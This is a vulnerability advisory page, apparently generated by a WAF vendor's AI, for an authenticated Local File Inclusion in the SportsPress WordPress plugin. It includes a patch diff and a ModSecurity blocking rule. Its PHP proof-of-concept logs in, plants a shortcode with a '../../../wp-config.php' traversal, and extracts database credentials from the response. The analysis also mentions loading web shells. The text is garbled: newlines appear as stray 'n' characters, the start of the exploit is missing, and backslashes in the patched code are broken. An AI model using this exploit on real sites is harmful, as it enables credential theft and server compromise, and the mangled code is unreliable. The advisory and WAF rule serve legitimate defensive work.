Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15368: SportsPress <= 2.7.26 – Authenticated (Contributor+) Local File Inclusion via Shortcode (sportspress)

Plugin sportspress
Severity High (CVSS 8.8)
CWE 98
Vulnerable Version 2.7.26
Patched Version 2.7.27
Disclosed February 2, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2025-15368:nThis vulnerability is an authenticated Local File Inclusion (LFI) in the SportsPress WordPress plugin. Attackers with contributor-level or higher permissions can exploit a shortcode attribute to include and execute arbitrary PHP files on the server. The vulnerability affects all plugin versions up to and including 2.7.26, with a CVSS score of 8.8 (High).nnnThe root cause lies in the `sp_get_template()` function within `/sportspress/includes/sp-core-functions.php`. This function accepts user-controlled arguments via the `$args` parameter and passes them directly to PHP’s `extract()` function on line 69. The function then calls `sp_locate_template()` using the extracted `$template_name` variable. Before the patch, the function did not sanitize or restrict the `template_name` parameter, allowing an attacker to control the file path included via the shortcode. The vulnerable code path originates from shortcode handlers that pass user attributes directly to `sp_get_template()`.nnnExploitation requires an authenticated attacker with contributor privileges or higher. The attacker crafts a post or page containing a SportsPress shortcode with a malicious `template_name` attribute. The attribute value uses directory traversal sequences (e.g., `../../../wp-config.php`) to include sensitive files outside the plugin’s template directory. Alternatively, if the attacker can upload a PHP file (via another vulnerability or allowed upload), they can include it directly. The shortcode is processed when the post is viewed, triggering the LFI.nnnThe patch introduces multiple security layers in the `sp_get_template()` and `sp_locate_template()` functions. In `sp_get_template()`, the patch adds code to store original parameters before `extract()` and removes security-sensitive parameters (`template_name`, `template_path`, `default_path`) from the `$args` array before extraction (lines 69-73). This prevents an attacker from overriding these critical variables via the shortcode attributes. The function then uses the stored original parameters when calling `sp_locate_template()`. In `sp_locate_template()`, the patch adds comprehensive sanitization: it applies `basename()` to strip directory paths, uses `sanitize_file_name()` to remove special characters, strips remaining path separators, removes leading dots to block hidden files, and sanitizes `$template_path` and `$default_path` parameters against directory traversal (lines 112-134).nnnSuccessful exploitation leads to arbitrary PHP code execution on the server. An attacker can read sensitive files like `wp-config.php` to obtain database credentials and encryption keys. They can include uploaded PHP files (e.g., web shells) to establish persistent backdoors. This vulnerability bypasses access controls, compromises the entire WordPress installation, and can lead to full server compromise if the web server process has sufficient permissions. The attacker’s ability to execute code is limited only by the operating system permissions of the web server user.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2025-15368 – SportsPress <= 2.7.26 – Authenticated (Contributor+) Local File Inclusion via Shortcodenn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $admin_url,n ‘testcookie’ => ‘1’n);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));n$response = curl_exec($ch);nn// Check if login succeeded by accessing admin dashboardncurl_setopt($ch, CURLOPT_URL, $admin_url . ‘post-new.php’);ncurl_setopt($ch, CURLOPT_POST, false);n$response = curl_exec($ch);nnif (strpos($response, ‘id=”wpadminbar”‘) === false) {n die(“[-] Authentication failed. Check credentials.”);n}nnecho “[+] Successfully authenticated as: ” . $username . “\n”;nn// Step 2: Extract nonce required for post creationn// WordPress stores nonce in various forms; we need the ‘_wpnonce’ for post creationnpreg_match(‘/name=”_wpnonce” value=”([a-f0-9]+)”/’, $response, $matches);nif (empty($matches[1])) {n // Alternative method: fetch nonce via AJAX or from page sourcen die(“[-] Could not extract nonce from page.”);n}n$nonce = $matches[1];necho “[+] Extracted nonce: ” . $nonce . “\n”;nn// Step 3: Create a new post with malicious SportsPress shortcoden// The shortcode exploits the ‘template_name’ attribute for LFIn$create_post_url = $target_url . ‘/wp-admin/post-new.php’;n$post_fields = array(n ‘post_title’ => ‘Atomic Edge LFI Test’,n ‘content’ => ‘[player_list template_name=”../../../wp-config.php”]’,n ‘post_type’ => ‘post’,n ‘post_status’ => ‘draft’,n ‘_wpnonce’ => $nonce,n ‘_wp_http_referer’ => ‘/wp-admin/post-new.php’,n ‘user_ID’ => ‘1’, // Typically the current user IDn ‘action’ => ‘editpost’,n ‘originalaction’ => ‘editpost’,n ‘post_author’ => ‘1’,n ‘meta-box-order-nonce’ => $nonce,n ‘closedpostboxesnonce’ => $nonce,n ‘save’ => ‘Save Draft’n);nncurl_setopt($ch, CURLOPT_URL, $create_post_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));n$response = curl_exec($ch);nn// Extract the post ID from the response (redirect URL)nif (preg_match(‘/post=([0-9]+)/’, curl_getinfo($ch, CURLINFO_EFFECTIVE_URL), $id_matches)) {n $post_id = $id_matches[1];n echo “[+] Created draft post with ID: ” . $post_id . “\n”;n n // Step 4: View the post to trigger the shortcode execution and LFIn $view_post_url = $target_url . ‘/?p=’ . $post_id . ‘&preview=true’;n curl_setopt($ch, CURLOPT_URL, $view_post_url);n curl_setopt($ch, CURLOPT_POST, false);n $response = curl_exec($ch);n n // Check if wp-config.php content is leaked in the responsen if (strpos($response, ‘DB_NAME’) !== false || strpos($response, ‘define’) !== false) {n echo “[+] SUCCESS: Local File Inclusion confirmed!\n”;n echo “[+] Extracted database credentials from wp-config.php:\n”;n n // Extract and display database configurationn preg_match(‘/define\(\s*[‘\”]DB_NAME[‘\”]\s*,\s*[‘\”]([^\’\”]+)[‘\”]/’, $response, $db_name);n preg_match(‘/define\(\s*[‘\”]DB_USER[‘\”]\s*,\s*[‘\”]([^\’\”]+)[‘\”]/’, $response, $db_user);n preg_match(‘/define\(\s*[‘\”]DB_PASSWORD[‘\”]\s*,\s*[‘\”]([^\’\”]+)[‘\”]/’, $response, $db_pass);n n echo ” DB_NAME: ” . (isset($db_name[1]) ? $db_name[1] : ‘Not found’) . “\n”;n echo ” DB_USER: ” . (isset($db_user[1]) ? $db_user[1] : ‘Not found’) . “\n”;n echo ” DB_PASSWORD: ” . (isset($db_pass[1]) ? $db_pass[1] : ‘Not found’) . “\n”;n } else {n echo “[-] LFI attempt did not return expected content. The site may be patched.\n”;n echo “[-] Response preview: ” . substr($response, 0, 500) . “…\n”;n }n} else {n echo “[-] Failed to create post or extract post ID.\n”;n}nncurl_close($ch);nn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-15368nSecRule REQUEST_URI “@rx ^/(?:index\.php)?$” \n “id:10015368,phase:2,deny,status:403,chain,msg:’CVE-2025-15368: SportsPress LFI via shortcode attribute’,severity:’CRITICAL’,tag:’CVE-2025-15368′,tag:’WordPress’,tag:’SportsPress’,tag:’LFI'”n SecRule REQUEST_BODY “@rx \[player_list[^\]]*template_name\s*=\s*[‘\”][^’\”]*(\.\./|\.\.\\)” \n “t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,chain”n SecRule REQUEST_BODY “@rx \[player_list[^\]]*template_name\s*=\s*[‘\”][^’\”]*\.(php|phtml|phar|inc)” \n “t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase””
}
“`

Differential between vulnerable and patched code

Code Diff
--- a/sportspress/includes/admin/importers/class-sp-importer.php
+++ b/sportspress/includes/admin/importers/class-sp-importer.php
@@ -5,7 +5,7 @@
  * @author      ThemeBoy
  * @category    Admin
  * @package     SportsPress/Admin/Importers
- * @version     2.7.9
+ * @version     2.7.28
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -125,14 +125,17 @@

 			$this->imported = $this->skipped = 0;

-			if ( ! is_file( $file ) ) :
-				$this->footer();
-				die();
-			endif;
+		if ( ! is_file( $file ) ) :
+			$this->footer();
+			die();
+		endif;

+		// Only set auto_detect_line_endings on PHP versions that support it (< 8.1).
+		if ( version_compare( PHP_VERSION, '8.1', '<' ) ) {
 			ini_set( 'auto_detect_line_endings', '1' );
+		}

-			if ( ( $handle = fopen( $file, 'r' ) ) !== false ) :
+		if ( ( $handle = fopen( $file, 'r' ) ) !== false ) :

 				$header = fgetcsv( $handle, 0, $this->delimiter );

--- a/sportspress/includes/admin/post-types/class-sp-admin-cpt-team.php
+++ b/sportspress/includes/admin/post-types/class-sp-admin-cpt-team.php
@@ -5,7 +5,7 @@
  * @author      ThemeBoy
  * @category    Admin
  * @package     SportsPress/Admin/Post_Types
- * @version     2.6
+ * @version     2.7.27
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -89,7 +89,12 @@
 		public function custom_columns( $column, $post_id ) {
 			switch ( $column ) :
 				case 'sp_icon':
-					echo has_post_thumbnail( $post_id ) ? wp_kses_post( edit_post_link( get_the_post_thumbnail( $post_id, 'sportspress-fit-mini' ), '', '', $post_id ) ) : '';
+					if ( has_post_thumbnail( $post_id ) ) {
+						$edit_link = edit_post_link( get_the_post_thumbnail( $post_id, 'sportspress-fit-mini' ), '', '', $post_id );
+						echo $edit_link ? wp_kses_post( $edit_link ) : '';
+					} else {
+						echo '';
+					}
 					break;
 				case 'sp_short_name':
 					$short_name = get_post_meta( $post_id, 'sp_short_name', true );
--- a/sportspress/includes/admin/settings/class-sp-settings-events.php
+++ b/sportspress/includes/admin/settings/class-sp-settings-events.php
@@ -533,6 +533,9 @@
 		public function delimiter_setting() {
 			$selection = get_option( 'sportspress_event_teams_delimiter', 'vs' );
 			$limit     = get_option( 'sportspress_event_teams', 2 );
+
+			// Cast to integer and ensure it's a valid positive number.
+			$limit = absint( $limit );
 			if ( 0 == $limit ) {
 				$limit = 2;
 			}
--- a/sportspress/includes/class-sp-player-list.php
+++ b/sportspress/includes/class-sp-player-list.php
@@ -269,7 +269,7 @@
 				endif;

 				// Add precision to object
-				$stat->precision = sp_array_value( sp_array_value( $meta, 'sp_precision', array() ), 0, 0 ) + 0;
+				$stat->precision = (int) sp_array_value( sp_array_value( $meta, 'sp_precision', array() ), 0, 0 ) + 0;

 				// Add column icons to columns were is available
 				if ( get_option( 'sportspress_player_statistics_mode', 'values' ) == 'icons' && ( $stat->post_type == 'sp_performance' || $stat->post_type == 'sp_statistic' ) ) {
@@ -757,7 +757,23 @@
 				continue;
 			}

-			$placeholders[ $player_id ] = array_merge( sp_array_value( $totals, $player_id, array() ), array_filter( sp_array_value( $placeholders, $player_id, array() ) ) );
+			// Sum manual stats with auto-calculated stats
+			$auto_stats   = sp_array_value( $totals, $player_id, array() );
+			$manual_stats = sp_array_value( $placeholders, $player_id, array() );
+			$combined     = array();
+
+			// Get all unique keys from both arrays
+			$all_keys = array_unique( array_merge( array_keys( $auto_stats ), array_keys( $manual_stats ) ) );
+
+			foreach ( $all_keys as $key ) {
+				$auto_value   = isset( $auto_stats[ $key ] ) ? floatval( $auto_stats[ $key ] ) : 0;
+				$manual_value = isset( $manual_stats[ $key ] ) ? floatval( $manual_stats[ $key ] ) : 0;
+
+				// Sum both values
+				$combined[ $key ] = $auto_value + $manual_value;
+			}
+
+			$placeholders[ $player_id ] = $combined;

 			// Player adjustments
 			$player_adjustments = sp_array_value( $adjustments, $player_id, array() );
--- a/sportspress/includes/sp-core-functions.php
+++ b/sportspress/includes/sp-core-functions.php
@@ -7,7 +7,7 @@
  * @author      ThemeBoy
  * @category    Core
  * @package     SportsPress/Functions
- * @version   2.7.26
+ * @version   2.7.27
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -66,11 +66,20 @@
  * @return void
  */
 function sp_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) {
+	// Store the original parameters before extract() to prevent override attacks
+	$original_template_name = $template_name;
+	$original_template_path = $template_path;
+	$original_default_path  = $default_path;
+
 	if ( $args && is_array( $args ) ) {
+		// Remove security-sensitive parameters from args before extraction
+		// to prevent Local File Inclusion attacks via shortcode attributes
+		unset( $args['template_name'], $args['template_path'], $args['default_path'] );
 		extract( $args );
 	}

-	$located = sp_locate_template( $template_name, $template_path, $default_path );
+	// Use original parameters for template location
+	$located = sp_locate_template( $original_template_name, $original_template_path, $original_default_path );

 	if ( ! file_exists( $located ) ) {
 		_doing_it_wrong( __FUNCTION__, sprintf( '<code>%s</code> does not exist.', esc_html( $located ) ), '0.7' );
@@ -100,6 +109,30 @@
  * @return string
  */
 function sp_locate_template( $template_name, $template_path = '', $default_path = '' ) {
+	// Sanitize template name to prevent directory traversal attacks
+	// First extract just the filename component, removing any directory paths
+	$template_name = basename( $template_name );
+
+	// Sanitize the filename to remove special characters and traversal attempts
+	$template_name = sanitize_file_name( $template_name );
+
+	// Additional security: ensure no path separators remain after sanitization
+	$template_name = str_replace( array( '/', '\' ), '', $template_name );
+
+	// Prevent access to hidden files
+	$template_name = ltrim( $template_name, '.' );
+
+	// Sanitize path parameters if provided by user input (defense-in-depth)
+	if ( ! empty( $template_path ) ) {
+		// Validate that template_path doesn't contain directory traversal
+		$template_path = str_replace( array( '../', '..\' ), '', $template_path );
+	}
+
+	if ( ! empty( $default_path ) ) {
+		// Validate that default_path doesn't contain directory traversal
+		$default_path = str_replace( array( '../', '..\' ), '', $default_path );
+	}
+
 	if ( ! $template_path ) {
 		$template_path = SP()->template_path();
 	}
@@ -1755,7 +1788,7 @@
 if ( ! function_exists( 'sp_taxonomy_field' ) ) {
 	function sp_taxonomy_field( $taxonomy = 'category', $post = null, $multiple = false, $trigger = false, $placeholder = null ) {
 		$obj = get_taxonomy( $taxonomy );
-		if ( $obj ) {
+		if ( $obj && $obj->public) {
 			$post_type = get_post_type( $post );
 			?>
 			<div class="<?php echo esc_attr( $post_type ); ?>-<?php echo esc_attr( $taxonomy ); ?>-field">
--- a/sportspress/sportspress.php
+++ b/sportspress/sportspress.php
@@ -3,11 +3,11 @@
  * Plugin Name: SportsPress
  * Plugin URI: http://themeboy.com/sportspress/
  * Description: Manage your club and its players, staff, events, league tables, and player lists.
- * Version: 2.7.26
+ * Version: 2.7.27
  * Author: ThemeBoy
  * Author URI: http://themeboy.com
  * Requires at least: 3.8
- * Tested up to: 6.8.1
+ * Tested up to: 6.9
  *
  * Text Domain: sportspress
  * Domain Path: /languages/
@@ -26,14 +26,14 @@
 	 * Main SportsPress Class
 	 *
 	 * @class SportsPress
-	 * @version 2.7.26
+	 * @version 2.7.27
 	 */
 	final class SportsPress {

 		/**
 		 * @var string
 		 */
-		public $version = '2.7.26';
+		public $version = '2.7.27';

 		/**
 		 * @var SportsPress The single instance of the class
--- a/sportspress/uninstall.php
+++ b/sportspress/uninstall.php
@@ -1,28 +0,0 @@
-<?php
-/**
- * SportsPress Uninstall
- *
- * Uninstalling SportsPress deletes user roles and options.
- *
- * @author      ThemeBoy
- * @category    Core
- * @package     SportsPress/Uninstaller
- * @version     2.3
- */
-if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
-	exit();
-}
-
-global $wpdb, $wp_roles;
-
-$status_options = get_option( 'sportspress_status_options', array() );
-
-// Roles + caps
-$installer = include 'includes/class-sp-install.php';
-$installer->remove_roles();
-
-// Delete options
-$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'sportspress_%';" );
-
-delete_option( 'sportspress_installed' );
-delete_option( 'sportspress_completed_setup' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School